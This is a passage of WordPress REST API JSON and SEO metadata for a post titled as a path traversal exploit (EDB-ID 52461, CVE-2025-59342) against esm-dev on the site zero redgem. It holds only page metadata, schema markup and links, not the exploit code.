redgem\"},\"image\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/logo\\\/image\\\/\"}},{\"@type\":\"Person\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/person\\\/fbfeae8dfad117ac08a7621bee1a1dca\",\"name\":\"invoker\",\"image\":{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g\",\"url\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g\",\"contentUrl\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g\",\"caption\":\"invoker\"},\"sameAs\":[\"https:\\\/\\\/zero.redgem.net\"],\"url\":\"https:\\\/\\\/zero.redgem.net\\\/?author=1\"}]}<\/script>\n<!-- \/ Yoast SEO plugin. -->","yoast_head_json":{"title":"esm-dev 136 - Path Traversal_EDB-ID:52461 - zero redgem","robots":{"index":"index","follow":"follow","max-snippet":"max-snippet:-1","max-image-preview":"max-image-preview:large","max-video-preview":"max-video-preview:-1"},"canonical":"https:\/\/zero.redgem.net\/?p=31285","og_locale":"en_US","og_type":"article","og_title":"esm-dev 136 - Path Traversal_EDB-ID:52461 - zero redgem","og_description":"{&#8220;lastseen&#8221;:&#8221;2025-12-16T08:46:49&#8243;,&#8221;description&#8221;:&#8221;Exploit Title: esm-dev 136 &#8211; Path Traversal Date: 2025-07-11 Exploit Author: Byte Reaper Vendor Homepage: https:\/\/github.com\/esm-dev\/esm.sh Software Link: https:\/\/github.com\/esm-dev\/esm.sh CVE-2025-59342 &#8211; File : exploit.c &#8211;...","og_url":"https:\/\/zero.redgem.net\/?p=31285","og_site_name":"zero redgem","article_published_time":"2025-12-16T03:51:14+00:00","author":"invoker","twitter_card":"summary_large_image","twitter_misc":{"Written by":"invoker","Est. reading time":"25 minutes"},"schema":{"@context":"https:\/\/schema.org","@graph":[{"@type":"Article","@id":"https:\/\/zero.redgem.net\/?p=31285#article","isPartOf":{"@id":"https:\/\/zero.redgem.net\/?p=31285"},"author":{"name":"invoker","@id":"https:\/\/zero.redgem.net\/#\/schema\/person\/fbfeae8dfad117ac08a7621bee1a1dca"},"headline":"esm-dev 136 &#8211; Path Traversal_EDB-ID:52461","datePublished":"2025-12-16T03:51:14+00:00","mainEntityOfPage":{"@id":"https:\/\/zero.redgem.net\/?p=31285"},"wordCount":5066,"commentCount":0,"publisher":{"@id":"https:\/\/zero.redgem.net\/#organization"},"keywords":["CVE","CVSS","CVSS-6.9","exploit","exploitdb","MEDIUM","news","Security","tapic","Vulnerability"],"articleSection":["category_exploit"],"inLanguage":"en-US","potentialAction":[{"@type":"CommentAction","name":"Comment","target":["https:\/\/zero.redgem.net\/?p=31285#respond"]}]},{"@type":"WebPage","@id":"https:\/\/zero.redgem.net\/?p=31285","url":"https:\/\/zero.redgem.net\/?p=31285","name":"esm-dev 136 - Path Traversal_EDB-ID:52461 - zero redgem","isPartOf":{"@id":"https:\/\/zero.redgem.net\/#website"},"datePublished":"2025-12-16T03:51:14+00:00","breadcrumb":{"@id":"https:\/\/zero.redgem.net\/?p=31285#breadcrumb"},"inLanguage":"en-US","potentialAction":[{"@type":"ReadAction","target":["https:\/\/zero.redgem.net\/?p=31285"]}]},{"@type":"BreadcrumbList","@id":"https:\/\/zero.redgem.net\/?p=31285#breadcrumb","itemListElement":[{"@type":"ListItem","position":1,"name":"Home","item":"https:\/\/zero.redgem.net\/"},{"@type":"ListItem","position":2,"name":"esm-dev 136 &#8211; Path Traversal_EDB-ID:52461"}]},{"@type":"WebSite","@id":"https:\/\/zero.redgem.net\/#website","url":"https:\/\/zero.redgem.net\/","name":"zero redgem","description":"","publisher":{"@id":"https:\/\/zero.redgem.net\/#organization"},"potentialAction":[{"@type":"SearchAction","target":{"@type":"EntryPoint","urlTemplate":"https:\/\/zero.redgem.net\/?s={search_term_string}"},"query-input":{"@type":"PropertyValueSpecification","valueRequired":true,"valueName":"search_term_string"}}],"inLanguage":"en-US"},{"@type":"Organization","@id":"https:\/\/zero.redgem.net\/#organization","name":"zero redgem","url":"https:\/\/zero.redgem.net\/","logo":{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/zero.redgem.net\/#\/schema\/logo\/image\/","url":"","contentUrl":"","width":191,"height":188,"caption":"zero redgem"},"image":{"@id":"https:\/\/zero.redgem.net\/#\/schema\/logo\/image\/"}},{"@type":"Person","@id":"https:\/\/zero.redgem.net\/#\/schema\/person\/fbfeae8dfad117ac08a7621bee1a1dca","name":"invoker","image":{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/secure.gravatar.com\/avatar\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g","url":"https:\/\/secure.gravatar.com\/avatar\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g","contentUrl":"https:\/\/secure.gravatar.com\/avatar\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g","caption":"invoker"},"sameAs":["https:\/\/zero.redgem.net"],"url":"https:\/\/zero.redgem.net\/?author=1"}]}},"_links":{"self":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/posts\/31285","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=31285"}],"version-history":[{"count":0,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/posts\/31285\/revisions"}],"wp:attachment":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=31285"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=31285"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=31285"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}